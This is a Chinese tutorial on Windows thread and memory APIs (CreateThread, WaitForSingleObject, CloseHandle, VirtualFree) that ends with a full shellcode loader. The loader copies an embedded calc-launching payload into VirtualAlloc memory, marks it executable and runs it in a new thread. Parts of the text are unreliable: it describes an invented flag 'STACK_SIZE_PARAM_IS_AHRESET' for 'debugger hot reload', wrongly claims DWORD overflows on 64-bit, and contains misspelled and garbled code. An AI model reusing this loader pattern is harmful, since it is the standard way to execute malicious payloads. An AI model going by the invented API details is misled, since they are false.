dwCreationFlags主要有两个选项:0(立即执行)和CREATE_SUSPENDED(挂起线程)。挂起的线程需要ResumeThread来启动。其他标志如STACK_SIZE_PARAM_IS_AHRESET在特定情况下使用。
如立即执行就像新员工立刻开始工作,挂起则像员工待命,需要主管通知后才开始
dwCreationFlags就像新员工的到岗通知单:
- 0:“立刻开始工作!”
- CREATE_SUSPENDED:“先来公司待命,等通知再开工”
参数详解表格
标志名称 | 值 | 使用场景 | 原理说明 | 注意事项 |
---|---|---|---|---|
0 | 0x00000000 | 普通线程 | “直接开始执行” | 最常用选项 |
CREATE_SUSPENDED | 0x00000004 | 需要延迟执行的线程 | “创建后暂停,等准备好再启动” | 必须调用ResumeThread恢复 |
STACK_SIZE_PARAM_IS_AHRESET | 0x00080000 | 特殊调试场景 | “用于调试器热更新” | 普通开发无需使用 |
立即执行(默认)
HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, // ← 这里传0表示立即执行NULL
);
copy
挂起线程
// 创建挂起线程
HANDLE hThread = CreateThread(NULL,0,ThreadProc,NULL,CREATE_SUSPENDED, // ← 关键参数NULL
);// ...做一些初始化工作...// 恢复线程执行
ResumeThread(hThread);
场景 | 推荐标志 | 原因 |
---|---|---|
普通线程 | 0 | 立即开始执行,无需额外操作 |
需要初始化后执行 | CREATE_SUSPENDED | 先创建线程,初始化环境后再启动 |
线程池管理 | CREATE_SUSPENDED | 批量创建线程,统一控制执行时机 |
调试热重载 | STACK_SIZE_PARAM_IS_AHRESET | 保持堆栈信息用于调试 |
注意事项
-
挂起线程管理:
-
每个挂起线程有挂起计数(可通过ResumeThread返回)
-
必须保证每个CREATE_SUSPENDED线程最终被恢复
-
示例:
DWORD count = ResumeThread(hThread); // count返回1表示从挂起状态恢复 copy
-
-
不要滥用挂起:
// 危险:可能永远不恢复 CreateThread(..., CREATE_SUSPENDED, ...); // 忘记调用ResumeThread → 线程泄漏! copy
-
挂起状态限制:
- 不能挂起已结束的线程
- 挂起主线程可能导致程序冻结
高级用法
批量管理线程
#define THREAD_NUM 5
HANDLE hThreads[THREAD_NUM];// 批量创建挂起线程
for(int i=0; i<THREAD_NUM; i++){hThreads[i] = CreateThread(..., CREATE_SUSPENDED, ...);
}// 统一启动所有线程
for(int i=0; i<THREAD_NUM; i++){ResumeThread(hThreads[i]);
}
安全恢复计数检查
DWORD count = ResumeThread(hThread);
if(count == (DWORD)-1) {// 错误处理DWORD err = GetLastError();printf("恢复线程失败,错误码:%d", err);
} else {printf("线程挂起计数:%d", count);
}
copy
使用口诀
- 创建标志二选一,立即执行或挂起
- 挂起线程要恢复,否则永远不执行
- 批量管理先挂起,统一启动更效率
- 特殊标志勿乱用,除非你是调试器
参数六 [out,optional] lpThreadId 收线程标识符的指针
lpThreadId用于获取新线程的ID,如果为NULL,则不返回ID。线程ID是系统范围内的唯一标识,可用于调试或管理线程。但通常建议使用线程句柄而非ID,因为ID可能被复用。
如线程ID类似员工工号,可用于识别但可能重复使用。而句柄类似员工档案,更安全。生成表格,包含参数示例、使用场景、原理说明和注意事项。
lpThreadId`参数就像新员工的工号记录本:
- 作用:用来记录新线程的身份证号(线程ID)
- 特点:你可以选择记下来(传变量地址)或者不记(传NULL)
参数示例 | 使用场景 | 原理说明 | 注意事项 |
---|---|---|---|
NULL | 不需要知道线程ID | “不记录工号” | 最常用选项,节省资源 |
&threadId | 需要跟踪线程状态 | “记下工号方便查岗” | 实际开发中更推荐使用线程句柄 |
DWORD* pid | 跨进程线程管理 | “通过工号查找其他部门的员工” | 需要OpenThread配合使用,且需足够权限 |
不获取线程ID
CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL // ← 这里传NULL表示不关心线程ID
);
copy
获取线程ID
DWORD tid; // 用来存储线程ID
HANDLE hThread = CreateThread(NULL,0,ThreadProc,NULL,0,&tid // ← 传递tid的地址
);printf("新线程ID: %d", tid);
线程ID vs 线程句柄
特性 | 线程ID | 线程句柄 |
---|---|---|
唯一性 | 系统范围内唯一,但可能被复用 | 进程内唯一,不会被复用 |
用途 | 调试、日志 | 实际线程操作(等待、终止等) |
获取方式 | CreateThread返回或GetCurrentThreadId | CreateThread直接返回 |
生命周期 | 线程结束即失效 | 需CloseHandle关闭 |
注意事项表
要点 | 说明 |
---|---|
不要用ID操作线程 | 应始终使用句柄进行线程操作(如WaitForSingleObject) |
ID可能被复用 | 线程结束后,其ID可能被新线程使用 |
调试用途 | 在日志中记录线程ID有助于问题排查 |
跨进程操作困难 | 需要先通过ID获取句柄:THREAD_ALLTHREAD_ALL_ACCESS, FALSE, tid)` |
32/64位兼容 | DWORD在64位系统可能溢出(建议用DWORD_PTR) |
高级用法
通过ID获取句柄
DWORD tid = 1234; // 已知线程ID
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, // 需要足够权限FALSE,tid
);if(hThread != NULL) {// 使用句柄操作线程...CloseHandle(hThread);
}
copy
获取当前线程ID
DWORD currentTid = GetCurrentThreadId();
copy
使用口诀
- 线程ID如工号,系统分配可查到
- 传参地址记录它,传空省事又高效
- 实际操作用句柄,安全可靠不混淆
- 调试日志有时需,日常开发可不要
案例
#include <windows.h>
//定义无符号形字符数组
unsigned char code[]="\x64\x64"
DWORD id;
//申请内存空间
LPVOID memory= VirtualAlloc(NULL,sizeof(code),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE //只读无执行权限使用PAGE_EXECUTE_READWRITE可能触发安全机制,建议分开设置权限);
//判断内存是否申请成功
if(memory==NULL){return 1;
};
//将code加载到内存中
memcpy(memory,code,sizeof(code));
// 执行前用 VirtualProtect 改为可执行
DWORD oldProtect;
if(!VitualProtect(memory,sizeof(code),PAGE_EXECUTE_READWRITE,&oldprotect)){VirtualFree(memory,0,MEM_RELEASE);//如果修改失败释放地址};
//创建线程
HANDLE Thread = CreateThread(NULL,//继承和安全权限0,//堆栈大小0为系统分配(LPTHREAD_START_ROUTINE)memory,//强制转换类型为线程函数NULL,//无参数传递0,//立即执行&id//线程id);
WaitForSingleObject
DWORD WaitForSingleObject([in] HANDLE hHandle,[in] DWORD dwMilliseconds
);
该函数包括在windows.h头文件中
该函数调用windows api synchapi.h
该函数有两个参数
WaitForSingleObject
是Windows多线程编程中用于同步线程或进程的关键函数,其作用是使当前线程等待指定的内核对象变为已通知状态(Signaled)。
WaitForSingleObject
是控制线程/进程同步的核心函数,正确使用可确保资源有序释放,避免竞态条件。务必结合错误处理和超时机制以增强程序健壮性。
参数一 [IN] HANDLE 句柄执行的线程
hHandle
就像不同场景的“遥控器”,用来控制你要等待的对象。每个“遥控器”对应一个具体的操作目标(比如一个线程、一个进程),你必须拿着正确的遥控器,并且它有“等待”功能按钮,才能使用 WaitForSingleObject
。
对象 | 比喻场景 | 实际用途 | 注意事项 |
---|---|---|---|
线程 (Thread) | 控制一个工人(子线程) | 等待工人干完活再继续。 | 确保工人真的启动了再等待。 |
进程 (Process) | 控制一个团队(子进程) | 等待整个团队完成任务。 | 可能需要管理员权限才能控制其他团队。 |
事件 (Event) | 一个通知铃铛 | 等铃铛响了(事件触发)才行动。 | 铃铛必须提前设置好。 |
互斥体 (Mutex) | 一把钥匙(共享资源) | 等拿到钥匙才能使用打印机。 | 用完记得还钥匙,否则别人永远等不到。 |
信号量 (Semaphore) | 限量门票(资源池) | 等有门票才能进入(如最多5个线程同时运行)。 | 门票数量要合理设置。 |
定时器 (Timer) | 一个闹钟 | 等闹钟响了执行任务。 | 记得设置正确的时间 |
关于“遥控器”的权限
- 必须要有“等待按钮”:每个遥控器必须有
SYNCHRONIZE
权限(相当于“等待”功能按钮)。 - 默认已有权限:大多数情况下,系统发给你遥控器时已经自带这个按钮(如
CreateThread
创建的线程句柄)。 - 特殊情况:如果你向别人借遥控器(如用
OpenProcess
打开其他进程),需要明确说:“我要一个带等待按钮的遥控器!”
如何确认和添加 SYNCHRONIZE
权限
1. 默认情况下的权限
-
大多数创建函数
(如CreateThread、CreateEvent)返回的句柄默认包含
SYNCHRONIZE
权限,无需额外设置。// 示例:创建线程句柄(默认有 SYNCHRONIZE) HANDLE hThread = CreateThread(...); // 可直接用于 WaitForSingleObject
2. 需要显式添加权限的场景
当通过以下函数获取已有对象的句柄时,需手动请求 SYNCHRONIZE
权限:
OpenProcess
:打开其他进程。OpenThread
:打开其他线程。DuplicateHandle
:复制句柄。
3. 如何添加权限(代码示例)
场景1:打开进程并等待其结束
DWORD pid = 1234; // 目标进程ID// 请求 SYNCHRONIZE 权限
HANDLE hProcess = OpenProcess(SYNCHRONIZE, // 明确要求等待权限FALSE, // 句柄不可继承pid // 目标进程ID
);if (hProcess == NULL) {DWORD err = GetLastError();printf("打开进程失败,错误码: %d\n", err);return;
}// 等待进程退出
WaitForSingleObject(hProcess, INFINITE);
CloseHandle(hProcess);
场景2:复制句柄并添加权限
HANDLE hOriginalThread; // 假设已有线程句柄
HANDLE hNewThread;// 复制句柄并赋予 SYNCHRONIZE 权限
BOOL success = DuplicateHandle(GetCurrentProcess(), // 当前进程hOriginalThread, // 原句柄GetCurrentProcess(), // 目标进程(同进程)&hNewThread, // 新句柄SYNCHRONIZE, // 只复制 SYNCHRONIZE 权限FALSE, // 不可继承0 // 无额外选项
);if (success) {WaitForSingleObject(hNewThread, INFINITE);CloseHandle(hNewThread);
}
4. 如何确认句柄是否有权限
-
直接测试:调用
WaitForSingleObject
,若返回WAIT_FAILED
且GetLastError()
返回5
(访问被拒绝),则权限不足。DWORD result = WaitForSingleObject(hHandle, 0); if (result == WAIT_FAILED && GetLastError() == 5) {printf("句柄缺少 SYNCHRONIZE 权限!\n"); }
-
使用工具:通过
Process Explorer
或Handle
工具查看句柄权限(需管理员权限)。
5. 权限不足的解决方案
-
方案1:以管理员身份运行程序(右键点击程序 → 以管理员身份运行)。
-
方案2
:在打开句柄时请求更高权限(如
PROCESS_ALL_ACCESS
)。
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, // 包含 SYNCHRONIZEFALSE,pid );
对象的安全描述符(需高级权限,一般用户不建议操作)。
参数二 [in] dwMilliseconds
dwMilliseconds
就像你设定的“耐心倒计时”,决定你愿意等多久。不同的值会有不同的行为:
取值 | 行为 |
---|---|
INFINITE | 死等到底,直到目标对象完成(比如线程结束)。 |
0 | 看一眼对象状态,如果没完成,直接走人。 |
5000 | 等5秒,5秒内对象完成则继续;5秒后没完成,直接走人。 |
系统版本差异
- Windows 7 及旧系统:
电脑睡眠时,倒计时继续(比如设5秒,电脑睡1分钟,醒来后倒计时已超时)。 - Windows 8 及更新系统:
电脑睡眠时,倒计时暂停(比如设5秒,电脑睡1分钟,醒来后继续倒计时)。
示例1:死等线程结束
HANDLE hThread = CreateThread(...);
WaitForSingleObject(hThread, INFINITE); // 不等到线程结束不罢休
CloseHandle(hThread);
示例2:等5秒,超时强制结束线程
HANDLE hThread = CreateThread(...);
DWORD result = WaitForSingleObject(hThread, 5000);if (result == WAIT_TIMEOUT) {printf("线程5秒没干完,强制终止!\n");TerminateThread(hThread, 0); // 强制终止线程(慎用!)
}CloseHandle(hThread);
示例3:立即检查线程状态
HANDLE hThread = CreateThread(...);
DWORD result = WaitForSingleObject(hThread, 0);if (result == WAIT_OBJECT_0) {printf("线程已结束!\n");
} else {printf("线程还在运行。\n");
}CloseHandle(hThread);
注意事项
-
避免死锁
用INFINITE
时,确保目标对象最终会完成,否则程序卡死。 -
超时后处理
超时后需决定是否强制终止任务、重试或记录错误。 -
系统兼容性
如果程序需在睡眠状态下精确计时,注意新旧系统行为差异。 -
错误检查
始终检查返回值:DWORD result = WaitForSingleObject(hHandle, 5000); if (result == WAIT_FAILED) {printf("等待失败,错误码: %d\n", GetLastError()); }
CloseHandle 释放系统资源
CloseHandle
就像离开停车场时归还停车卡,告诉系统“我用完了这个资源,可以回收了”。如果不还卡(不关闭句柄),停车场会一直以为你还在用车位,导致资源浪费。
核心作用
- 释放系统资源:每个句柄对应一个内核对象(如线程、文件、互斥体),关闭句柄即释放其占用的系统资源。
- 防止内存泄漏:长期不关闭句柄会导致系统资源逐渐耗尽,最终程序崩溃。
场景 | 比喻行为 | 实际操作 |
---|---|---|
创建线程 | 领取停车卡(句柄) | HANDLE hThread = CreateThread(...) |
使用线程 | 通过停车卡操作车辆(线程) | WaitForSingleObject(hThread, ...) |
关闭句柄 | 还卡离开停车场 | CloseHandle(hThread) |
不关闭句柄 | 带走停车卡 | 资源泄漏,停车场车位永远被占! |
何时需要关闭句柄?
- 明确不再需要时:如线程已结束、文件已关闭、互斥体已释放。
- 最佳实践:一旦拿到句柄,立刻想好何时关闭,并写在代码中。
及时归还停车卡
// 领卡停车(创建线程)
HANDLE hThread = CreateThread(...);// 等待线程结束(等车开出停车场)
WaitForSingleObject(hThread, INFINITE);// 还卡离开(关闭句柄)
CloseHandle(hThread);
注意事项
-
关闭时机
- 确保对象已不再使用(如线程结束后)。
- 即使对象已自动销毁(如进程退出),仍需关闭句柄。
-
不要重复关闭
- 关闭句柄后,对应的
HANDLE
变为无效,再次关闭会引发崩溃。
- 关闭句柄后,对应的
-
关闭≠终止
CloseHandle
只是释放资源,不会终止线程/进程!- 终止线程需用
TerminateThread
(慎用)。
-
错误处理
-
如果关闭失败(返回
FALSE
),可能是句柄无效或无权限:
if (!CloseHandle(hThread)) {DWORD err = GetLastError();printf("还卡失败!错误码:%d\n", err); } copy
-
顺口溜
用完句柄及时关,避免泄漏保平安。
关闭不等同终止,重复关闭会翻车。
领卡记得要还卡,系统资源不白瞎!
VirtualFree 释放申请的内存空间
BOOL VirtualFree([in] LPVOID lpAddress,[in] SIZE_T dwSize,[in] DWORD dwFreeType
);
释放、取消提交或释放和取消提交调用进程的虚拟地址空间中的页面区域。
就像停车场的不同关闭方式——临时关闭部分车位 vs 永久拆除整个停车场
标志名称 | 参数示例 | 使用场景 | 原理说明 | 注意事项 |
---|---|---|---|---|
MEM_DECOMMIT | MEM_DECOMMIT | 释放物理内存 | “清空车位但保留停车区域”(可重新启用) | 可部分操作(如关闭东区3个车位) |
MEM_RELEASE | MEM_RELEASE | 释放地址空间 | “永久拆除整个停车场”(土地归还政府) | 必须整体操作(从入口到出口全部区域) |
1. 标准使用流程
// 完整停车场的生命周期
LPVOID parking = VirtualAlloc(NULL, 4096, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); // 建停车场+启用车位// 临时关闭部分区域(保留停车场结构)
VirtualFree((BYTE*)parking + 2048, 2048, MEM_DECOMMIT); // 关闭后半区车位// 永久拆除停车场
VirtualFree(parking, 0, MEM_RELEASE); // 必须从原始地址开始,size=0
操作类型 | 允许操作区域 | 大小要求 | 类比场景 |
---|---|---|---|
MEM_DECOMMIT | 已启用的任意连续区域 | 必须>0 | 关闭停车场A区10个车位 |
MEM_RELEASE | 整个原始保留区域 | 必须=0 | 拆除整个停车场建筑 |
分层管理
// 建设多层停车场
LPVOID megaParking = VirtualAlloc(NULL, 16*4096, MEM_RESERVE, PAGE_READWRITE);// 启用第2层车位
VirtualAlloc((BYTE*)megaParking + 4096, 4096, MEM_COMMIT, PAGE_READWRITE);// 单独关闭第2层
VirtualFree((BYTE*)megaParking + 4096, 4096, MEM_DECOMMIT);// 最终整体拆除
VirtualFree(megaParking, 0, MEM_RELEASE);
操作口诀
- 释放内存分两段,清空车位或拆场
- 清空车位可部分,拆除必须全归零
- 地址要对初始位,大小参数看类型
- 状态转换要合规,先清后拆最安全
完整代码示例
#include <windows.h>
#include<stdio.h>
int main() {//shellcode以unsigned char 数据形式存储//unsigned为无符号整型变量本质是存储ascll码值unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";//打开计算器//分配可执行内存//LPVOID是一个没有类型的指针,也就是说你可以将任意类型的指针赋值给LPVOID类型的变量(一般作为传递),然后在使用的时候再转换回来。 可以将其理解为long型的指针,指向void型//LPVOID是windowsapi定义一个无类型的指针变量 void*常用于普通变量LPVOID memory = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (memory == NULL) {printf("内存为空");return 1;}//将执行的代码放入到刚刚申请的内存中memcpy(memory,shellcode,sizeof(shellcode));DWORD oldProtect;if (!VirtualProtect(memory,sizeof(shellcode),PAGE_EXECUTE_READWRITE,&oldProtect)){VirtualFree(memory,0,MEM_RELEASE);}HANDLE thread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)memory,NULL,0,//立即执行NULL);printf("%d", GetThreadId(thread));WaitForSingleObject(thread, INFINITE);// 清理资源CloseHandle(thread);VirtualFree(memory, 0, MEM_RELEASE);return 0;
}